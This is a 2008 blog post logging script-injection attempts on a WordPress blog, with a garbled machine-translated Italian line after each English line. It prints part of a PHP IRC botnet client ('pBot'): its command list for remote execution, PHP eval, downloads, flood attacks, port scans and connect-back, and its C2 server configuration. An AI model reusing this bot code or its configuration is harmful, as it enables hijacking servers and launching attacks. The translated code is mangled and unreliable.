Daily Hacking Attemps on blog.kakkoi.net - Feb 6th, 2008 Hacking tenta ogni giorno a blog.kakkoi.net - Feb 6th, 2008

Today’s we just upgrade from WordPress 2.3.2 to 2.3.3 security release . Oggi abbiamo appena aggiornamento da WordPress 2.3.2 a 2.3.3 protezione. There is 21 attack (script injections) on blog.kakkoi.net from 3 known bot-herder scripts ↓. Non vi è di 21 attacco (script iniezioni) a partire da 3 blog.kakkoi.net noto bot-herder ↓ script. The first attacker is from 212.24.62.200 → udkado.ru masking their useragent as Googlebot (a real human?). Il primo attaccante è da 212.24.62.200 → udkado.ru mascheratura loro UserAgent come Googlebot (una vera e propria umana?). The were playing with my 302.curie redirect page at blog.kakkoi.net/uri/. Sono stati il giocare con la mia pagina di reindirizzamento 302.curie a blog.kakkoi.net / uri /. I send the attacker data to abuse network and IronPort. Inviare i dati utente malintenzionato di abusare di rete e di IronPort.

The next few hours we received 20 attack from the same bot-herder. L'ordine del giorno poche ore abbiamo ricevuto 20 attacco dello stesso bot-herder. They probably has a large scale of DDNS (china → korea → us ). Che probabilmente ha una larga scala di DDNS (cina corea → → noi). Noticeably the scans pattern is predictable. Notevolmente le scansioni modello è prevedibile. From our Feb 5th attack all these botnet is targeting certain search keywords security, injection so we setup a honey-pot right on that particular URL. Dal nostro feb 5a attacco tutte queste botnet è il targeting per alcune parole chiave di ricerca di sicurezza, l'iniezione in modo da impostare un miele-pentola a destra su quel particolare URL.

Hacking Attempts on Kakkoi I tentativi di hacking su Kakkoi

Sort by Injection type. Ordina per tipo di iniezione.

The Bot-herder Host Il Bot-herder Host

Part of class pBot source taken from http://basiclifesaving.org/mycomments/rom.txt Parte della classe pBot fonte prelevati da http://basiclifesaving.org/mycomments/rom.txt

 <? /*  *  * #crew@corp. / * * * # Equipaggio @ corp. since 2003  * edited by: devil__ <admin@xdevil.org>  *  * COMMANDS:  *  * .user <password> //login to the bot  * .logout //logout of the bot  * .die //kill the bot  * .restart //restart the bot  * .mail <to> <from> <subject> <msg> //send an email  * .dns <IP|HOST> //dns lookup  * .download <URL> <filename> //download a file  * .exec <cmd> // uses exec() //execute a command  * .sexec <cmd> // uses shell_exec() //execute a command  * .cmd <cmd> // uses popen() //execute a command  * .info //get system information  * .php <php code> // uses eval() //execute php code  * .tcpflood <target> <packets> <packetsize> <port> <delay> //tcpflood attack  * .udpflood <target> <packets> <packetsize> <delay> //udpflood attack  * .raw <cmd> //raw IRC command  * .rndnick //change nickname  * .pscan <host> <port> //port scan  * .safe // test safe_mode (dvl)  * .inbox <to> // test inbox (dvl)  * .conback <ip> <port> // conect back (dvl)  * .uname // return shell's uname using a php function (dvl)  *  */  set_time_limit(0); error_reporting(0); echo "Ok unlocker. We did i!";  class pBot {  var $config = array("server"=>"Bucharest.ro.eu.ultra-chat.org",  "port"=>"6667",  "pass"=>"n",  "prefix"=>"[R]",  "maxrand"=>"4",  "chan"=>"#unlocker",  "chan2"=>"#unlocker",  "key"=>"n",  "modes"=>" p",  "password"=>"n",  "trigger"=>".",  "hostauth"=>"Robert.users.ultra-chat.org" // * for any hostname (remember: /setvhost xdevil.org)  ); dal 2003 * a cura di: devil__ <admin@xdevil.org> * * comandi: * *. <password> utente / / login per il bot *. logout / / logout dei bot *. muoiono / / uccidere il bot *. riavviare / / riavviare il bot *. <to> mail <from> <subject> <msg> / / inviare una e-mail *. dns <IP|HOST> / / * DNS. scaricare <url> <nomefile> / / download * un file. <cmd> exec / / impieghi exec () / / esecuzione di un comando *. sexec <cmd> / / impieghi shell_exec () / / esecuzione di un comando *. cmd <cmd> / / impieghi popen () / / eseguire un comando *. info / / ottenere informazioni sul sistema *. <php code> php / / usa eval () / / eseguire codice php *. tcpflood <target> <packets> <packetsize> <porta> <delay> / / tcpflood * attacco. udpflood <target> <packets> <packetsize> <delay> / / * udpflood attacco. greggio <cmd> / / raw IRC comando *. rndnick / / * modifica nickname. pscan <host> <porta> / / porto * scansione. cassaforte / / test safe_mode (dvl) *. casella di posta <to> / / test casella di posta in arrivo (dvl) *. conback <IP> <porta> / / conect indietro (dvl) *. uname / / ritorno della shell uname utilizzando un php function (dvl) * * / set_time_limit (0); error_reporting (0); echo "Ok Unlocker. Ci ho!"; classe pBot (var $ config = array ( "server" => "Bucharest.ro.eu. ultra-chat.org "," porto "=>" 6667 "," pass "=>" N "," prefisso "=>"[ R] "," maxrand "=>" 4 "," di "=> "# Unlocker", "chan2 "=>"# Unlocker", "chiave" => "N", "modi "=>"  p", "password" => "N", "trigger "=>". "," Hostauth "=>" Robert.users.ultra-chat.org "/ / * per ogni nome di host (ricordate: / setvhost xdevil.org)); 

Related Posts Posti connessi

• Daily Hacking Attempts on blog.kakkoi.net - Feb 5th, 2008 Incisione del quotidiano tentativi a blog.kakkoi.net - Feb 5th, 2008
• Mass Remote Code Injection as Googlebot - Packet Spoofing Perl bot & Trojan Massa remota di codice di iniezione come Googlebot - Packet Spoofing Perl bot & Trojan

External Links Collegamenti esterni

• Wikipedia → Botnet → wikipedia Botnet
• Storm Botnet Botnet tempesta
• Dynamic DNS DNS dinamico